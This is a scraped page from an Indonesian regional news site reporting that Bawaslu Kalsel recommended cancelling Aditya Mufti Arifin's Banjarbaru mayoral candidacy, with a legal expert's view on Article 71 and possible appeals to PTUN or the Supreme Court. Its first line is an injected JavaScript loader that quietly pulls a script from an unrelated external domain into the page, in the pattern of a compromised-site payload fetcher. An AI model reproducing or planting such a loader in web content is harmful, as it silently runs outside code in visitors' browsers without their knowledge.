(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bawaslu Kalsel Rekomendasi Batalkan Pencalonan Aditya, Ini Pendapat Ahli Hukum


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilihan Umum (Bawaslu) Kalimantan Selatan (Kalsel) serahkan rekomendasi ke KPU Provinsi Kalsel untuk melakukan penelaahan hukum terkait laporan dugaan pelanggaran calon Wali Kota Banjarbaru Aditya Mufti Arifin dalam Pemilihan Wali Kota (Pilwali) Banjarbaru.

Aditya dilaporkan Wartono melanggar aturan Pilkada. Enam laporan di antaranya, jargon ‘JUARA’, program bedah rumah, RT Mandiri, angkutan feeder JUARA, hingga program bantuan sosial anak di bawah Lembaga Kesejahteraan Sosial Anak (YLKA).

Empat laporan ditolak dan dua laporan diterima. Dua laporan yang diterima program angkutan feeder Juara dan pembagian sembako Bakul Juara.

Kasus pelanggaran administrasi pemilihan ini ditangani langsung Bawaslu Kalsel. Bawaslu Kalsel bahkan telah merekomendasikan perkara dengan nomor register 01/REG/LP/PW/Prov/22.00/X2024 sebagai pelanggaran administrasi kepada KPU Kalsel untuk dapat ditindaklanjuti sebagaimana diatur dalam ketentuan pasal 139 ayat 1 dan ayat 2.

Baca juga: Anak Meninggal Dunia Tenggelam di Sungai Alalak, Sang Ibu Melahirkan di Puskesmas

Ahli hukum dari Universitas Lambung Mangkurat (ULM) Banjarmasin, Muhammad Erfa Redhani berpandangan mengenai sengketa dugaan pelanggaran administrasi menyebut pasal 71 yang disangkakan kepada Aditya Mufti Ariffin.

Dimana, dalam tatanan normatif Undang-Undang (UU) Pilkada telah mengatur secara ketat petahana tidak boleh menyalahgunakan kewenangan program, dan kegiatan yang menguntungkan atau merugikan pasangan calon lainnya.

“Larangan ini bagus digunakan agar tidak ada politisasi dalam kegiatan ataupun program-program dalam penyelenggaraan pemerintahan daerah,” ujar Muhammad Erfa Redhani.

Namu begitu, pasal tersebut juga cukup bermasalah karena seorang petahana yang dianggap melanggar dan direkomendasikan oleh Bawaslu untuk mendapatkan sanksi pembatalan itu.

Baca juga: Kupas Novel “Lalu Tenggelam di Ujung Matamu” Miranda Seftian

Erfa menilai, pasal 71 ini harus dilakukan pengkajian ulang oleh pembentuk Undang-Undang.

“UU Pilkada tidak memberikan ruang mekanisme komplain atau banding terhadap sanksi tersebut,” sebut dia.

“Sementara, kalau kita melihat pengaturan yang lain misalnya sanksi pembatalan karena adanya pelanggaran terhadap pasal 73 ayat 2 larangan menjanjikan dan atau memberikan uang atau materi lainnya untuk mempengaruhi penyelenggara pemilihan dan atau Pemilih, yaitu pelanggaran administrasi yang terstruktur sistematis dan masif, UU Pilkada mengatur rinci mekanisme komplain berupa upaya hukum ke MA. Putusan MA lah yang kemudian bersifat final dan mengikat,” jelasnya.

Erfa menyimpulkan, keputusan tindak-lanjut (Misal keputusan KPU, red) dapat saja diajukan ke Pengadilan Tata Usaha Negara (PTUN) sebagai peradilan administrasi.

“Yang jadi objeknya nanti itu adalah keputusan KPU,” ungkapnya.

Baca juga: Kunjungan Pejabat Pemko Banjarbaru ke Perpustakaan Palnam, Ini Respon Mereka

Hal ini sama, kara Erfa, ketika ada keputusan DKPP yang kemudian diturunkan dengan SK KPU/SK Bawaslu/SK Presiden, maka SK tersebut dapat diuji di PTUN.

Namun, dengan mekanisme melalui PTUN akan membutuhkan waktu yang lama dalam prosesnya, sudah lewat tahapan pemungutan suara.

“Memang tidak diatur di UU Pilkada, tapi hal tersebut memungkinkan saja,” sambung dia.

Petahana bisa melakukan upaya hukum atas SK KPU pembatalan tersebut menggunakan mekanisme upaya hukum ke MA berdasar Pasal 14 UU Pilkada. Yang berbunyi “Mahkamah Agung berwenang menerima, memeriksa, mengadili dan memutus sengketa pelanggaran administrasi pemilihan”.

“Meskipun pasal ini sebenarnya untuk pelanggaran, namun bisa saja digunakan. Karena sanksinya sama, pembatalan,” tandasnya.

Baca juga: Forum Komunikasi CSR Banjarbaru Bahas Realisasi Program

Dikabarkan, KPU Banjarbaru telah menetapkan pembatalan pencalonan calon Wali Kota dan Wakil Wali Kota Banjarbaru nomor urut 2 Aditya-Said Abdullah.

Pewarta Kanalkalimantan.com masih mencoba melakukan konfirmasi pada Ketua KPU Banjarbaru dan Kalsel serta salah seorang komisioner. Hingga berita ini terbit belum ada balasan perihal konfirmasi tersebut. (Kanalkalimantan.com/wanda)

Reporter: Wanda
Editor: bie


Risa

Recent Posts

Sidang Praperadilan Sahbirin Noor Sampaikan Sembilan Petitum

KANALKALIMANTAN.COM, JAKARTA - Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan… Read More

39 menit ago

Persembahan HLN-79 PLN Salurkan Bantuan “Gerobak Cahaya” untuk UMKM

KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More

2 jam ago

Kirim Uang ke LN Lewat BRImo Bisa Dapat Hadiah Menarik Setiap Bulan, Mau?

KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More

3 jam ago

Banjir Peminat, Waktu Pendaftaran PLN Journalist Award 2024 Diperpanjang Hingga 14 November 2024

KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More

4 jam ago

KPU Banjarmasin Evaluasi Pelaksanaan Debat Terbuka

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More

4 jam ago

Pemko Banjarbaru Raih Bhumandala Award 2024

KANALKALIMANTAN.COM, JAKARTA – Pemerintah Kota (Pemko) Banjarbaru menerima Bhumandala Award kategori penyelenggara informasi geospasial terbaik… Read More

5 jam ago

This website uses cookies.